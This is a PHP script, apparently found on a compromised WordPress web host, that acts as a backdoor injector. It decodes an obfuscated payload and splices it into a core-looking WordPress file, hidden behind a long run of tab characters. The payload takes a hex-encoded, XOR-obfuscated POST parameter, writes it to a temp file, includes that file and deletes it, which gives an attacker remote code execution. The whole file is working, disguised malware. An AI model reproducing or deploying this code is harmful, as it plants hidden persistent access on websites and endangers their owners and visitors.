File: /home/hucscom/domains/huc99-s.com/public_html/.rfind
<?php $path = '/home/hucscom/domains/huc99-s.com/private_html/wp-includes/assets/script-loader-react-refresh-runtime.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28filter_has_var%28INPUT_POST%2C%20%22%5Cx65%5Cx6Ceme%5Cx6Et%22%29%29%7B%20%24comp%20%3D%20hex2bin%28%24_POST%5B%22%5Cx65%5Cx6Ceme%5Cx6Et%22%5D%29%3B%20%24reference%20%3D%20%27%27%20%3Bfor%28%24r%3D0%3B%20%24r%3Cstrlen%28%24comp%29%3B%20%24r%2B%2B%29%7B%24reference%20.%3D%20chr%28ord%28%24comp%5B%24r%5D%29%20%5E%2098%29%3B%7D%20%24entity%20%3D%20array_filter%28%5B%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20session_save_path%28%29%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20%22/var/tmp%22%5D%29%3B%20foreach%20%28%24entity%20as%20%24data_chunk%29%20%7B%20if%20%28%21%28%20%21is_dir%28%24data_chunk%29%20%7C%7C%20%21is_writable%28%24data_chunk%29%20%29%29%20%7B%20%24data%20%3D%20%22%24data_chunk%22%20.%20%22/.obj%22%3B%20%24success%20%3D%20file_put_contents%28%24data%2C%20%24reference%29%3B%20if%20%28%24success%29%20%7B%20include%20%24data%3B%20%40unlink%28%24data%29%3B%20die%28%29%3B%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');